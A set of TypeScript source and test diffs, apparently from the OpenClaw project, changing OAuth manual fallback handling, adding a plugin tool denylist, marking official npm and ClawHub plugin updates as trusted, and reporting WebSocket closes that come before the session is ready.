access: "access-token",
refresh: "refresh-token",
});
expect(text).toHaveBeenCalledOnce();
expect(spin.stop).toHaveBeenCalledWith("Manual OAuth entry required");
expect(
spin.update.mock.calls.filter(
([message]) =>
message === "Local OAuth callback was unavailable. Paste the redirect URL to continue…",
),
).toHaveLength(1);
expect(runtime.log).toHaveBeenCalledTimes(1);
expect(vi.getTimerCount()).toBe(0);
vi.useRealTimers();
});

View File

@@ -77,25 +77,30 @@ function createManualCodeInputHandler(params: {
isRemote: boolean;
onPrompt: (prompt: OAuthPrompt) => Promise<string>;
runtime: RuntimeEnv;
spin: ReturnType<WizardPrompter["progress"]>;
updateProgress: (message: string) => void;
stopProgress: (message?: string) => void;
waitForLoginToSettle: Promise<void>;
hasBrowserAuthStarted: () => boolean;
}): (() => Promise<string>) | undefined {
let manualFallbackPromise: Promise<string> | undefined;
if (params.isRemote) {
return async () =>
await params.onPrompt({
return async () => {
manualFallbackPromise ??= params.onPrompt({
message: manualInputPromptMessage,
});
return await manualFallbackPromise;
};
}
return async () => {
const runLocalManualFallback = async () => {
if (!params.hasBrowserAuthStarted()) {
params.spin.update(
params.updateProgress(
"Local OAuth callback was unavailable. Paste the redirect URL to continue…",
);
params.runtime.log(
"OpenAI Codex OAuth local callback did not start; switching to manual entry immediately.",
);
params.stopProgress("Manual OAuth entry required");
return await params.onPrompt({
message: manualInputPromptMessage,
});
@@ -121,14 +126,20 @@ function createManualCodeInputHandler(params: {
return await createNeverSettlingPromptResult();
}
params.spin.update("Browser callback did not finish. Paste the redirect URL to continue…");
params.updateProgress("Browser callback did not finish. Paste the redirect URL to continue…");
params.runtime.log(
`OpenAI Codex OAuth callback did not arrive within ${localManualFallbackDelayMs}ms; switching to manual entry (callback_timeout).`,
);
params.stopProgress("Manual OAuth entry required");
return await params.onPrompt({
message: manualInputPromptMessage,
});
};
return async () => {
manualFallbackPromise ??= runLocalManualFallback();
return await manualFallbackPromise;
};
}
export async function loginOpenAICodexOAuth(params: {
@@ -166,6 +177,18 @@ export async function loginOpenAICodexOAuth(params: {
);
const spin = prompter.progress("Starting OAuth flow…");
let progressActive = true;
const updateProgress = (message: string) => {
if (progressActive) {
spin.update(message);
}
};
const stopProgress = (message?: string) => {
if (progressActive) {
progressActive = false;
spin.stop(message);
}
};
let browserAuthStarted = false;
let markLoginSettled!: () => void;
const waitForLoginToSettle = new Promise<void>((resolve) => {
@@ -194,16 +217,17 @@ export async function loginOpenAICodexOAuth(params: {
isRemote,
onPrompt,
runtime,
spin,
updateProgress,
stopProgress,
waitForLoginToSettle,
hasBrowserAuthStarted: () => browserAuthStarted,
}),
onProgress: (msg: string) => spin.update(msg),
onProgress: (msg: string) => updateProgress(msg),
});
spin.stop("OpenAI OAuth complete");
stopProgress("OpenAI OAuth complete");
return creds ?? null;
} catch (err) {
spin.stop("OpenAI OAuth failed");
stopProgress("OpenAI OAuth failed");
const rewrittenError = rewriteOpenAICodexOAuthError(err);
runtime.error(String(rewrittenError));
await prompter.note("Trouble with OAuth? See https://docs.openclaw.ai/start/faq", "OAuth help");

View File

@@ -68,6 +68,7 @@ function createContext() {
function createResolveToolsParams(params?: {
context?: ReturnType<typeof createContext> & Record<string, unknown>;
toolAllowlist?: readonly string[];
toolDenylist?: readonly string[];
existingToolNames?: Set<string>;
env?: NodeJS.ProcessEnv;
suppressNameConflicts?: boolean;
@@ -76,6 +77,7 @@ function createResolveToolsParams(params?: {
return {
context: (params?.context ?? createContext()) as never,
...(params?.toolAllowlist ? { toolAllowlist: [...params.toolAllowlist] } : {}),
...(params?.toolDenylist ? { toolDenylist: [...params.toolDenylist] } : {}),
...(params?.existingToolNames ? { existingToolNames: params.existingToolNames } : {}),
...(params?.env ? { env: params.env } : {}),
...(params?.suppressNameConflicts ? { suppressNameConflicts: true } : {}),
@@ -1144,6 +1146,74 @@ describe("resolvePluginTools optional tools", () => {
expect(loadOpenClawPluginsMock).not.toHaveBeenCalled();
});
it("does not materialize manifest-unavailable optional sibling tools under alsoAllow", () => {
const config = createContext().config;
installToolManifestSnapshot({
config,
env: {},
plugin: {
id: "multi",
origin: "bundled",
enabledByDefault: true,
channels: [],
providers: [],
providerAuthEnvVars: {
xai: ["XAI_API_KEY"],
},
contracts: {
tools: ["other_tool", "optional_tool"],
},
toolMetadata: {
optional_tool: {
optional: true,
authSignals: [{ provider: "xai" }],
},
},
},
});
const defaultFactory = vi.fn(() => makeTool("other_tool"));
const optionalFactory = vi.fn(() => makeTool("optional_tool"));
setActivePluginRegistry(
createToolRegistry([
{
pluginId: "multi",
optional: false,
source: "/tmp/multi.js",
names: ["other_tool"],
declaredNames: ["other_tool"],
factory: defaultFactory,
},
{
pluginId: "multi",
optional: true,
source: "/tmp/multi.js",
names: ["optional_tool"],
declaredNames: ["optional_tool"],
factory: optionalFactory,
},
]) as never,
"test-tool-registry",
"gateway-bindable",
"/tmp",
);
const tools = resolvePluginTools(
createResolveToolsParams({
context: {
...createContext(),
config,
},
env: {},
toolAllowlist: [DEFAULT_PLUGIN_TOOLS_ALLOWLIST_ENTRY, "optional_tool"],
}),
);
expectResolvedToolNames(tools, ["other_tool"]);
expect(defaultFactory).toHaveBeenCalledTimes(1);
expect(optionalFactory).not.toHaveBeenCalled();
expect(loadOpenClawPluginsMock).not.toHaveBeenCalled();
});
it("rejects plugin id collisions with core tool names", () => {
const registry = setRegistry([
{
@@ -2109,6 +2179,30 @@ describe("resolvePluginTools optional tools", () => {
expectResolvedToolNames(tools, ["browser"]);
});
it("does not materialize plugin tools blocked by explicit deny policy", () => {
const browserFactory = vi.fn(() => makeTool("browser"));
const browserEntry: MockRegistryToolEntry = {
pluginId: "browser",
optional: false,
source: "/tmp/browser.js",
names: ["browser"],
declaredNames: ["browser"],
factory: browserFactory,
};
setRegistry([browserEntry]);
const tools = resolvePluginTools(
createResolveToolsParams({
toolAllowlist: ["*"],
toolDenylist: ["browser"],
}),
);
expectResolvedToolNames(tools, []);
expect(browserFactory).not.toHaveBeenCalled();
expect(loadOpenClawPluginsMock).not.toHaveBeenCalled();
});
it("includes optional tools when wildcard allowlist is active (#76507)", () => {
setOptionalDemoRegistry();

View File

@@ -1,3 +1,4 @@
import { compileGlobPatterns, matchesAnyGlobPattern } from "../agents/glob-pattern.js";
import { DEFAULT_PLUGIN_TOOLS_ALLOWLIST_ENTRY, normalizeToolName } from "../agents/tool-policy.js";
import type { AnyAgentTool } from "../agents/tools/common.js";
import { createSubsystemLogger } from "../logging/subsystem.js";
@@ -86,6 +87,39 @@ function normalizeAllowlist(list?: string[]) {
return new Set((list ?? []).map(normalizeToolName).filter(Boolean));
}
function normalizeDenylist(list?: string[]) {
return compileGlobPatterns({
raw: list,
normalize: normalizeToolName,
});
}
function denylistBlocksName(name: string, denylist: ReturnType<typeof normalizeDenylist>): boolean {
const normalized = normalizeToolName(name);
return normalized ? matchesAnyGlobPattern(normalized, denylist) : false;
}
function denylistBlocksPlugin(params: {
pluginId: string;
denylist: ReturnType<typeof normalizeDenylist>;
}): boolean {
return (
denylistBlocksName(params.pluginId, params.denylist) ||
matchesAnyGlobPattern("group:plugins", params.denylist)
);
}
function denylistBlocksPluginTool(params: {
pluginId: string;
toolName: string;
denylist: ReturnType<typeof normalizeDenylist>;
}): boolean {
return (
denylistBlocksPlugin({ pluginId: params.pluginId, denylist: params.denylist }) ||
denylistBlocksName(params.toolName, params.denylist)
);
}
function allowlistIncludesDefaultPluginTools(allowlist: Set<string>): boolean {
return allowlist.size === 0 || allowlist.has(DEFAULT_PLUGIN_TOOLS_ALLOWLIST_ENTRY);
}
@@ -331,15 +365,6 @@ function listManifestToolNamesForAllowlist(params: {
return [...new Set([...defaultToolNames, ...matchedToolNames])];
}
function manifestToolContractMatchesAllowlist(params: {
plugin: PluginManifestRecord;
toolNames: readonly string[];
pluginId: string;
allowlist: Set<string>;
}): boolean {
return listManifestToolNamesForAllowlist(params).length > 0;
}
function listManifestToolNamesForAvailability(params: {
plugin: PluginManifestRecord;
toolNames: readonly string[];
@@ -349,17 +374,53 @@ function listManifestToolNamesForAvailability(params: {
return listManifestToolNamesForAllowlist(params);
}
function isManifestToolNameAvailable(params: {
plugin: PluginManifestRecord;
toolName: string;
config: PluginLoadOptions["config"];
env: NodeJS.ProcessEnv;
hasAuthForProvider?: (providerId: string) => boolean;
}): boolean {
return hasManifestToolAvailability({
plugin: params.plugin,
toolNames: [params.toolName],
config: params.config,
env: params.env,
hasAuthForProvider: params.hasAuthForProvider,
});
}
function filterManifestToolNamesForAvailability(params: {
plugin: PluginManifestRecord;
toolNames: readonly string[];
config: PluginLoadOptions["config"];
env: NodeJS.ProcessEnv;
hasAuthForProvider?: (providerId: string) => boolean;
}): string[] {
return params.toolNames.filter((toolName) =>
isManifestToolNameAvailable({
plugin: params.plugin,
toolName,
config: params.config,
env: params.env,
hasAuthForProvider: params.hasAuthForProvider,
}),
);
}
function resolvePluginToolRuntimePluginIds(params: {
config: PluginLoadOptions["config"];
availabilityConfig?: PluginLoadOptions["config"];
workspaceDir?: string;
env: NodeJS.ProcessEnv;
toolAllowlist?: string[];
toolDenylist?: string[];
hasAuthForProvider?: (providerId: string) => boolean;
snapshot?: PluginMetadataManifestView;
}): string[] {
const pluginIds = new Set<string>();
const allowlist = normalizeAllowlist(params.toolAllowlist);
const denylist = normalizeDenylist(params.toolDenylist);
const normalizedPlugins = normalizePluginsConfig(params.config?.plugins);
const snapshot =
params.snapshot ??
@@ -384,22 +445,28 @@ function resolvePluginToolRuntimePluginIds(params: {
) {
continue;
}
if (denylistBlocksPlugin({ pluginId: plugin.id, denylist })) {
continue;
}
const toolNames = plugin.contracts?.tools ?? [];
const selectedToolNames = listManifestToolNamesForAvailability({
toolNames,
plugin,
pluginId: plugin.id,
allowlist,
}).filter(
(toolName) =>
!denylistBlocksPluginTool({
pluginId: plugin.id,
toolName,
denylist,
}),
);
if (
manifestToolContractMatchesAllowlist({
plugin,
toolNames,
pluginId: plugin.id,
allowlist,
}) &&
selectedToolNames.length > 0 &&
hasManifestToolAvailability({
plugin,
toolNames: listManifestToolNamesForAvailability({
toolNames,
plugin,
pluginId: plugin.id,
allowlist,
}),
toolNames: selectedToolNames,
config: params.availabilityConfig ?? params.config,
env: params.env,
hasAuthForProvider: params.hasAuthForProvider,
@@ -519,6 +586,7 @@ function resolveCachedPluginTools(params: {
availabilityConfig: PluginLoadOptions["config"];
env: NodeJS.ProcessEnv;
allowlist: Set<string>;
denylist: ReturnType<typeof normalizeDenylist>;
hasAuthForProvider?: (providerId: string) => boolean;
onlyPluginIds: readonly string[];
existing: Set<string>;
@@ -536,6 +604,9 @@ function resolveCachedPluginTools(params: {
if (!onlyPluginIdSet.has(plugin.id)) {
continue;
}
if (denylistBlocksPlugin({ pluginId: plugin.id, denylist: params.denylist })) {
continue;
}
if (
!isManifestPluginAvailableForControlPlane({
snapshot: params.snapshot,
@@ -546,21 +617,27 @@ function resolveCachedPluginTools(params: {
continue;
}
const contractToolNames = plugin.contracts?.tools ?? [];
const availableToolNames = listManifestToolNamesForAvailability({
const allowedToolNames = listManifestToolNamesForAvailability({
plugin,
toolNames: contractToolNames,
pluginId: plugin.id,
allowlist: params.allowlist,
}).filter(
(toolName) =>
!denylistBlocksPluginTool({
pluginId: plugin.id,
toolName,
denylist: params.denylist,
}),
);
const availableToolNames = filterManifestToolNamesForAvailability({
plugin,
toolNames: allowedToolNames,
config: params.availabilityConfig,
env: params.env,
hasAuthForProvider: params.hasAuthForProvider,
});
if (
!hasManifestToolAvailability({
plugin,
toolNames: availableToolNames,
config: params.availabilityConfig,
env: params.env,
hasAuthForProvider: params.hasAuthForProvider,
})
) {
if (availableToolNames.length === 0) {
continue;
}
if (params.existingNormalized.has(normalizeToolName(plugin.id))) {
@@ -606,6 +683,15 @@ function resolveCachedPluginTools(params: {
continue;
}
const normalizedDescriptorName = normalizeToolName(cachedDescriptor.descriptor.name);
if (
denylistBlocksPluginTool({
pluginId: plugin.id,
toolName: cachedDescriptor.descriptor.name,
denylist: params.denylist,
})
) {
continue;
}
if (
localNormalizedNames.has(normalizedDescriptorName) ||
params.existingNormalized.has(normalizedDescriptorName)
@@ -699,6 +785,7 @@ function registryHasScopedPluginTools(
function resolvePluginToolLoadState(params: {
context: OpenClawPluginToolContext;
toolAllowlist?: string[];
toolDenylist?: string[];
allowGatewaySubagentBinding?: boolean;
hasAuthForProvider?: (providerId: string) => boolean;
env?: NodeJS.ProcessEnv;
@@ -738,6 +825,7 @@ function resolvePluginToolLoadState(params: {
workspaceDir: context.workspaceDir,
env,
toolAllowlist: params.toolAllowlist,
toolDenylist: params.toolDenylist,
hasAuthForProvider: params.hasAuthForProvider,
snapshot,
});
@@ -753,6 +841,7 @@ function resolvePluginToolLoadState(params: {
export function ensureStandalonePluginToolRegistryLoaded(params: {
context: OpenClawPluginToolContext;
toolAllowlist?: string[];
toolDenylist?: string[];
allowGatewaySubagentBinding?: boolean;
hasAuthForProvider?: (providerId: string) => boolean;
env?: NodeJS.ProcessEnv;
@@ -772,6 +861,7 @@ export function resolvePluginTools(params: {
context: OpenClawPluginToolContext;
existingToolNames?: Set<string>;
toolAllowlist?: string[];
toolDenylist?: string[];
suppressNameConflicts?: boolean;
allowGatewaySubagentBinding?: boolean;
hasAuthForProvider?: (providerId: string) => boolean;
@@ -788,6 +878,7 @@ export function resolvePluginTools(params: {
const existing = params.existingToolNames ?? new Set<string>();
const existingNormalized = new Set(Array.from(existing, (tool) => normalizeToolName(tool)));
const allowlist = normalizeAllowlist(params.toolAllowlist);
const denylist = normalizeDenylist(params.toolDenylist);
const configCacheKeyMemo = createPluginToolDescriptorConfigCacheKeyMemo();
let currentRuntimeConfigForDescriptorCache: PluginLoadOptions["config"] | null | undefined =
params.context.runtimeConfig;
@@ -804,6 +895,7 @@ export function resolvePluginTools(params: {
availabilityConfig: params.context.runtimeConfig ?? context.config,
env,
allowlist,
denylist,
hasAuthForProvider: params.hasAuthForProvider,
onlyPluginIds,
existing,
@@ -886,6 +978,9 @@ export function resolvePluginTools(params: {
if (!scopedPluginIds.has(entry.pluginId)) {
continue;
}
if (denylistBlocksPlugin({ pluginId: entry.pluginId, denylist })) {
continue;
}
if (blockedPlugins.has(entry.pluginId)) {
continue;
}
@@ -904,10 +999,32 @@ export function resolvePluginTools(params: {
blockedPlugins.add(entry.pluginId);
continue;
}
const manifestPlugin = manifestPluginsById.get(entry.pluginId);
const declaredNames = entry.names ?? [];
const availabilityNames =
declaredNames.length > 0 ? declaredNames : (entry.declaredNames ?? []);
const allowlistNames = manifestPlugin
? filterManifestToolNamesForAvailability({
plugin: manifestPlugin,
toolNames: availabilityNames,
config: params.context.runtimeConfig ?? context.config,
env,
hasAuthForProvider: params.hasAuthForProvider,
}).filter(
(toolName) =>
!denylistBlocksPluginTool({
pluginId: entry.pluginId,
toolName,
denylist,
}),
)
: declaredNames;
if (manifestPlugin && availabilityNames.length > 0 && allowlistNames.length === 0) {
continue;
}
if (
!pluginToolNamesMatchAllowlist({
names: declaredNames,
names: allowlistNames,
pluginId: entry.pluginId,
optional: entry.optional,
allowlist,
@@ -936,15 +1053,34 @@ export function resolvePluginTools(params: {
continue;
}
const listRaw: unknown[] = Array.isArray(resolved) ? resolved : [resolved];
const list = entry.optional
const availableList = manifestPlugin
? listRaw.filter((tool) =>
isManifestToolNameAvailable({
plugin: manifestPlugin,
toolName: readPluginToolName(tool),
config: params.context.runtimeConfig ?? context.config,
env,
hasAuthForProvider: params.hasAuthForProvider,
}),
)
: listRaw;
const policyAvailableList = availableList.filter(
(tool) =>
!denylistBlocksPluginTool({
pluginId: entry.pluginId,
toolName: readPluginToolName(tool),
denylist,
}),
);
const list = entry.optional
? policyAvailableList.filter((tool) =>
isOptionalToolAllowed({
toolName: readPluginToolName(tool),
pluginId: entry.pluginId,
allowlist,
}),
)
: listRaw;
: policyAvailableList;
if (list.length === 0) {
continue;
}
@@ -1003,7 +1139,6 @@ export function resolvePluginTools(params: {
pluginId: entry.pluginId,
optional: entry.optional,
});
const manifestPlugin = manifestPluginsById.get(entry.pluginId);
if (manifestPlugin) {
const capturedDescriptors = capturedDescriptorsByPluginId.get(entry.pluginId) ?? [];
capturedDescriptors.push(
@@ -1029,7 +1164,14 @@ export function resolvePluginTools(params: {
toolNames: manifestPlugin.contracts?.tools ?? [],
pluginId,
allowlist,
});
}).filter(
(toolName) =>
!denylistBlocksPluginTool({
pluginId,
toolName,
denylist,
}),
);
if (
cachedDescriptorsCoverToolNames({
descriptors,

View File

@@ -507,6 +507,59 @@ describe("updateNpmInstalledPlugins", () => {
);
});
it("does not skip trusted official default updates when latest resolves to the installed prerelease", async () => {
const installPath = createInstalledPackageDir({
name: "@openclaw/acpx",
version: "2026.5.2-beta.2",
});
mockNpmViewMetadata({
name: "@openclaw/acpx",
version: "2026.5.2-beta.2",
integrity: "sha512-beta",
shasum: "beta",
});
installPluginFromNpmSpecMock.mockResolvedValue(
createSuccessfulNpmUpdateResult({
pluginId: "acpx",
targetDir: installPath,
version: "2026.5.2",
npmResolution: {
name: "@openclaw/acpx",
version: "2026.5.2",
resolvedSpec: "@openclaw/acpx@2026.5.2",
},
}),
);
const result = await updateNpmInstalledPlugins({
config: createNpmInstallConfig({
pluginId: "acpx",
spec: "@openclaw/acpx",
installPath,
integrity: "sha512-beta",
shasum: "beta",
resolvedName: "@openclaw/acpx",
resolvedSpec: "@openclaw/acpx@2026.5.2-beta.2",
resolvedVersion: "2026.5.2-beta.2",
}),
pluginIds: ["acpx"],
});
expect(installPluginFromNpmSpecMock).toHaveBeenCalledWith(
expect.objectContaining({
spec: "@openclaw/acpx",
expectedPluginId: "acpx",
trustedSourceLinkedOfficialInstall: true,
}),
);
expect(result.outcomes[0]).toMatchObject({
pluginId: "acpx",
status: "updated",
currentVersion: "2026.5.2-beta.2",
nextVersion: "2026.5.2",
});
});
it("does not trust official npm updates when the install record package mismatches", async () => {
const installPath = createInstalledPackageDir({
name: "@vendor/acpx-fork",
@@ -2026,6 +2079,53 @@ describe("syncPluginsForUpdateChannel", () => {
});
});
it("marks official externalized bundled npm installs as trusted", async () => {
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
installPluginFromNpmSpecMock.mockResolvedValue(
createSuccessfulNpmUpdateResult({
pluginId: "voice-call",
targetDir: "/tmp/openclaw-plugins/voice-call",
version: "0.0.2-beta.1",
}),
);
await syncPluginsForUpdateChannel({
channel: "stable",
externalizedBundledPluginBridges: [
{
bundledPluginId: "voice-call",
npmSpec: "@openclaw/voice-call",
channelIds: ["voice-call"],
},
],
config: {
channels: {
"voice-call": {
enabled: true,
},
},
plugins: {
load: { paths: [appBundledPluginRoot("voice-call")] },
installs: {
"voice-call": {
source: "path",
sourcePath: appBundledPluginRoot("voice-call"),
installPath: appBundledPluginRoot("voice-call"),
},
},
},
},
});
expect(installPluginFromNpmSpecMock).toHaveBeenCalledWith(
expect.objectContaining({
spec: "@openclaw/voice-call",
expectedPluginId: "voice-call",
trustedSourceLinkedOfficialInstall: true,
}),
);
});
it("installs a ClawHub-preferred externalized bundled plugin", async () => {
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
installPluginFromClawHubMock.mockResolvedValue(
@@ -2176,6 +2276,60 @@ describe("syncPluginsForUpdateChannel", () => {
});
});
it("marks official externalized ClawHub-to-npm fallbacks as trusted", async () => {
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
installPluginFromClawHubMock.mockResolvedValue({
ok: false,
code: "package_not_found",
error: "Package not found on ClawHub.",
});
installPluginFromNpmSpecMock.mockResolvedValue(
createSuccessfulNpmUpdateResult({
pluginId: "voice-call",
targetDir: "/tmp/openclaw-plugins/voice-call",
version: "0.0.2-beta.1",
}),
);
await syncPluginsForUpdateChannel({
channel: "stable",
externalizedBundledPluginBridges: [
{
bundledPluginId: "voice-call",
preferredSource: "clawhub",
clawhubSpec: "clawhub:@openclaw/voice-call",
npmSpec: "@openclaw/voice-call",
channelIds: ["voice-call"],
},
],
config: {
channels: {
"voice-call": {
enabled: true,
},
},
plugins: {
load: { paths: [appBundledPluginRoot("voice-call")] },
installs: {
"voice-call": {
source: "path",
sourcePath: appBundledPluginRoot("voice-call"),
installPath: appBundledPluginRoot("voice-call"),
},
},
},
},
});
expect(installPluginFromNpmSpecMock).toHaveBeenCalledWith(
expect.objectContaining({
spec: "@openclaw/voice-call",
expectedPluginId: "voice-call",
trustedSourceLinkedOfficialInstall: true,
}),
);
});
it("fails closed without npm fallback when ClawHub returns integrity drift", async () => {
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
installPluginFromClawHubMock.mockResolvedValue({
@@ -2465,4 +2619,135 @@ describe("syncPluginsForUpdateChannel", () => {
spec: "@openclaw/legacy-chat",
});
});
it("removes stale bundled load paths for already-externalized resolved-name-only npm installs", async () => {
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
const result = await syncPluginsForUpdateChannel({
channel: "stable",
externalizedBundledPluginBridges: [
{
bundledPluginId: "legacy-chat",
npmSpec: "@openclaw/legacy-chat",
channelIds: ["legacy-chat"],
},
],
config: {
channels: {
"legacy-chat": {
enabled: true,
},
},
plugins: {
load: {
paths: [appBundledPluginRoot("legacy-chat"), "/workspace/plugins/other"],
},
installs: {
"legacy-chat": {
source: "npm",
resolvedName: "@openclaw/legacy-chat",
installPath: "/tmp/openclaw-plugins/legacy-chat",
},
},
},
},
});
expect(installPluginFromNpmSpecMock).not.toHaveBeenCalled();
expect(result.changed).toBe(true);
expect(result.config.plugins?.load?.paths).toEqual(["/workspace/plugins/other"]);
expect(result.config.plugins?.installs?.["legacy-chat"]).toMatchObject({
source: "npm",
resolvedName: "@openclaw/legacy-chat",
});
});
it("removes stale bundled load paths for already-externalized pinned npm installs", async () => {
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
const result = await syncPluginsForUpdateChannel({
channel: "stable",
externalizedBundledPluginBridges: [
{
bundledPluginId: "legacy-chat",
npmSpec: "@openclaw/legacy-chat",
channelIds: ["legacy-chat"],
},
],
config: {
channels: {
"legacy-chat": {
enabled: true,
},
},
plugins: {
load: {
paths: [appBundledPluginRoot("legacy-chat"), "/workspace/plugins/other"],
},
installs: {
"legacy-chat": {
source: "npm",
spec: "@openclaw/legacy-chat@1.2.3",
resolvedSpec: "@openclaw/legacy-chat@1.2.3",
installPath: "/tmp/openclaw-plugins/legacy-chat",
},
},
},
},
});
expect(installPluginFromNpmSpecMock).not.toHaveBeenCalled();
expect(result.changed).toBe(true);
expect(result.config.plugins?.load?.paths).toEqual(["/workspace/plugins/other"]);
expect(result.config.plugins?.installs?.["legacy-chat"]).toMatchObject({
source: "npm",
spec: "@openclaw/legacy-chat@1.2.3",
});
});
it("removes stale bundled load paths for already-externalized pinned ClawHub installs", async () => {
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
const result = await syncPluginsForUpdateChannel({
channel: "stable",
externalizedBundledPluginBridges: [
{
bundledPluginId: "legacy-chat",
preferredSource: "clawhub",
clawhubSpec: "clawhub:legacy-chat",
npmSpec: "@openclaw/legacy-chat",
channelIds: ["legacy-chat"],
},
],
config: {
channels: {
"legacy-chat": {
enabled: true,
},
},
plugins: {
load: {
paths: [appBundledPluginRoot("legacy-chat"), "/workspace/plugins/other"],
},
installs: {
"legacy-chat": {
source: "clawhub",
spec: "clawhub:legacy-chat@2026.5.1",
clawhubPackage: "legacy-chat",
installPath: "/tmp/openclaw-plugins/legacy-chat",
},
},
},
},
});
expect(installPluginFromClawHubMock).not.toHaveBeenCalled();
expect(installPluginFromNpmSpecMock).not.toHaveBeenCalled();
expect(result.changed).toBe(true);
expect(result.config.plugins?.load?.paths).toEqual(["/workspace/plugins/other"]);
expect(result.config.plugins?.installs?.["legacy-chat"]).toMatchObject({
source: "clawhub",
spec: "clawhub:legacy-chat@2026.5.1",
});
});
});

View File

@@ -4,7 +4,7 @@ import type { PluginInstallRecord } from "../config/types.plugins.js";
import { parseClawHubPluginSpec } from "../infra/clawhub-spec.js";
import type { NpmSpecResolution } from "../infra/install-source-utils.js";
import { resolveNpmSpecMetadata } from "../infra/install-source-utils.js";
import { parseRegistryNpmSpec } from "../infra/npm-registry-spec.js";
import { isPrereleaseResolutionAllowed, parseRegistryNpmSpec } from "../infra/npm-registry-spec.js";
import {
expectedIntegrityForUpdate,
readInstalledPackageVersion,
@@ -179,6 +179,24 @@ function shouldSkipUnchangedNpmInstall(params: {
);
}
function shouldBypassTrustedOfficialUnchangedNpmCheck(params: {
metadata: NpmSpecResolution;
spec: string;
trustedSourceLinkedOfficialInstall: boolean;
}): boolean {
if (!params.trustedSourceLinkedOfficialInstall || !params.metadata.version) {
return false;
}
const parsedSpec = parseRegistryNpmSpec(params.spec);
return Boolean(
parsedSpec &&
!isPrereleaseResolutionAllowed({
spec: parsedSpec,
resolvedVersion: params.metadata.version,
}),
);
}
function isBundledVersionNewer(bundledVersion: string, installedVersion: string): boolean {
const bundled = parseComparableSemver(bundledVersion);
const installed = parseComparableSemver(installedVersion);
@@ -459,6 +477,21 @@ function isTrustedSourceLinkedOfficialNpmUpdate(params: {
return recordedPackageNames.includes(officialPackageName);
}
function isTrustedSourceLinkedOfficialBridgeNpmInstall(params: {
targetPluginId: string;
npmSpec: string | undefined;
}): boolean {
const entry = getOfficialExternalPluginCatalogEntry(params.targetPluginId);
if (!entry) {
return false;
}
const officialPackageName = resolveNpmSpecPackageName(
resolveOfficialExternalPluginInstall(entry)?.npmSpec,
);
const requestedPackageName = resolveNpmSpecPackageName(params.npmSpec);
return Boolean(officialPackageName && requestedPackageName === officialPackageName);
}
function resolveNpmUpdateSpecs(params: {
record: PluginInstallRecord;
specOverride?: string;
@@ -544,12 +577,26 @@ function isBridgeAlreadyInstalledFromPreferredSource(params: {
record: PluginInstallRecord;
}): boolean {
const npmSpec = getExternalizedBundledPluginNpmSpec(params.bridge);
if (npmSpec && params.record.source === "npm" && params.record.spec === npmSpec) {
return true;
if (npmSpec && params.record.source === "npm") {
const bridgePackageName = resolveNpmSpecPackageName(npmSpec);
const recordPackageName =
params.record.resolvedName ??
resolveNpmSpecPackageName(params.record.spec) ??
resolveNpmSpecPackageName(params.record.resolvedSpec);
if (bridgePackageName && recordPackageName === bridgePackageName) {
return true;
}
}
const clawhubSpec = getExternalizedBundledPluginClawHubSpec(params.bridge);
const bridgeClawHubPackage = clawhubSpec ? parseClawHubPluginSpec(clawhubSpec)?.name : undefined;
const recordClawHubPackage =
params.record.source === "clawhub"
? (params.record.clawhubPackage ?? parseClawHubPluginSpec(params.record.spec ?? "")?.name)
: undefined;
return Boolean(
clawhubSpec && params.record.source === "clawhub" && params.record.spec === clawhubSpec,
bridgeClawHubPackage &&
params.record.source === "clawhub" &&
recordClawHubPackage === bridgeClawHubPackage,
);
}
@@ -853,6 +900,11 @@ export async function updateNpmInstalledPlugins(params: {
});
if (metadataResult.ok) {
if (
!shouldBypassTrustedOfficialUnchangedNpmCheck({
metadata: metadataResult.metadata,
spec: effectiveSpec!,
trustedSourceLinkedOfficialInstall,
}) &&
shouldSkipUnchangedNpmInstall({
currentVersion,
record,
@@ -1404,6 +1456,10 @@ export async function syncPluginsForUpdateChannel(params: {
const preferredSource = getExternalizedBundledPluginPreferredSource(bridge);
const npmSpec = getExternalizedBundledPluginNpmSpec(bridge);
const clawhubSpec = getExternalizedBundledPluginClawHubSpec(bridge);
const trustedSourceLinkedOfficialInstall = isTrustedSourceLinkedOfficialBridgeNpmInstall({
targetPluginId,
npmSpec,
});
let installSource = preferredSource;
let installSpec = preferredSource === "clawhub" ? clawhubSpec : npmSpec;
let result:
@@ -1435,6 +1491,7 @@ export async function syncPluginsForUpdateChannel(params: {
spec: npmSpec,
mode: "update",
expectedPluginId: targetPluginId,
trustedSourceLinkedOfficialInstall,
logger,
});
}
@@ -1443,6 +1500,7 @@ export async function syncPluginsForUpdateChannel(params: {
spec: npmSpec,
mode: "update",
expectedPluginId: targetPluginId,
trustedSourceLinkedOfficialInstall,
logger,
});
}

View File

@@ -13,6 +13,7 @@ afterEach(async () => {
});
async function createRealtimeServer(params?: {
closeOnConnection?: boolean;
initialEvent?: unknown;
onBinary?: (payload: Buffer) => void;
onText?: (payload: unknown) => void;
@@ -25,6 +26,10 @@ async function createRealtimeServer(params?: {
wss.handleUpgrade(request, socket, head, (ws) => {
clients.add(ws);
ws.on("close", () => clients.delete(ws));
if (params?.closeOnConnection) {
ws.close(1011, "setup failed");
return;
}
if (params?.initialEvent) {
ws.send(JSON.stringify(params.initialEvent));
}
@@ -153,4 +158,27 @@ describe("createRealtimeTranscriptionWebSocketSession", () => {
expect(session.isConnected()).toBe(false);
expect(onError).toHaveBeenCalledWith(expect.any(Error));
});
it("reports pre-ready closes separately from connection timeouts", async () => {
const server = await createRealtimeServer({ closeOnConnection: true });
const onError = vi.fn();
const session = createRealtimeTranscriptionWebSocketSession({
providerId: "test",
callbacks: { onError },
url: server.url,
connectTimeoutMessage: "test realtime transcription connection timeout",
connectClosedBeforeReadyMessage: "test realtime transcription connection closed before ready",
sendAudio: (audio, transport) => {
transport.sendBinary(audio);
},
});
await expect(session.connect()).rejects.toThrow(
"test realtime transcription connection closed before ready",
);
expect(onError).toHaveBeenCalledWith(expect.any(Error));
expect(onError.mock.calls[0]?.[0]).toMatchObject({
message: "test realtime transcription connection closed before ready",
});
});
});

View File

@@ -20,6 +20,7 @@ export type RealtimeTranscriptionWebSocketTransport = {
export type RealtimeTranscriptionWebSocketSessionOptions<Event = unknown> = {
callbacks: RealtimeTranscriptionSessionCallbacks;
connectClosedBeforeReadyMessage?: string;
connectTimeoutMessage?: string;
connectTimeoutMs?: number;
closeTimeoutMs?: number;
